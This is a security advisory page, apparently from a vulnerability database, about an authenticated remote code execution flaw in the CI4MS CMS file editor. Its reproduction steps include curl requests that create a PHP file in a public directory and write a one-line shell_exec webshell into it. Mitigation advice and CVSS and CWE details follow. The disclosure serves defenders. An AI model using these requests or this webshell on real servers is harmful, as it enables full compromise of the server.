CI4MS Vulnerable to Remote Code Execution (RCE) via Arbitrary File Creation and Save in File Editor
Summary
A critical vulnerability has been identified in CI4MS that allows an authenticated user with file editor permissions to achieve Remote Code Execution (RCE). By leveraging the file creation and save endpoints, an attacker can upload and execute arbitrary PHP code on the server.
Vulnerability Details
The vulnerability exists in the /backend/fileeditor/createFile and /backend/fileeditor/save API endpoints.
Unrestricted File Creation: The createFile endpoint allows users to create files with any extension (including .php) in web-accessible directories such as /public.
Arbitrary Content Injection: The save endpoint allows users to write arbitrary content into the created files without sufficient server-side validation or sanitization.
An attacker can combine these two flaws to create a PHP webshell and execute system-level commands, leading to a complete compromise of the web server.
Impact
Successful exploitation allows:
Full access to the server's file system and databases.
Execution of arbitrary OS commands.
Permanent modification or deletion of application data.
Steps to Reproduce
Log in to an account with permissions to use the file editor.
Create a new PHP file in a public directory using the following request:
curl -X POST '[SERVER_URL]/backend/fileeditor/createFile' -d 'path=/public' -d 'name=exploit.php'
Inject a PHP payload into the file using the save endpoint:
curl -X POST '[SERVER_URL]/backend/fileeditor/save' -H 'Content-Type: application/json' -d '{"path":"/public/exploit.php","content":"<?php echo shell_exec($_GET[\"cmd\"]); ?>"}'
Access the file via the browser to execute commands: https://[SERVER_URL]/exploit.php?cmd=whoami
Suggested Mitigation
Path Validation: Restrict file operations to non-executable directories.
Extension Whitelisting: Strictly allow only safe file extensions (e.g., .css, .js, .txt) and block executable extensions like .php, .phtml, etc.
Content Sanitization: Implement server-side checks to prevent the injection of malicious code patterns.
Execution Prevention: Disable PHP execution in public/upload directories via server configuration (e.g., .htaccess or Nginx config).
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | ci4-cms-erp/ci4ms | < 0.28.5.0 | 0.28.5.0 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-434, CWE-94- Platform
- Composer
- Package
ci4-cms-erp/ci4ms- Disclosed
- 02.02.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-gp56-f67f-m4px - CC BY 4.0
Vulnerability history: ci4-cms-erp/ci4ms
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 36
- First → latest
- 02.2026 05.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 19
- High 6
- Medium 11
Disclosures per year
- 2026: 36
-
CI4MS Vulnerable to Remote Code Execution (RCE) via Arbitrary File Creation and Save in File Editor this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.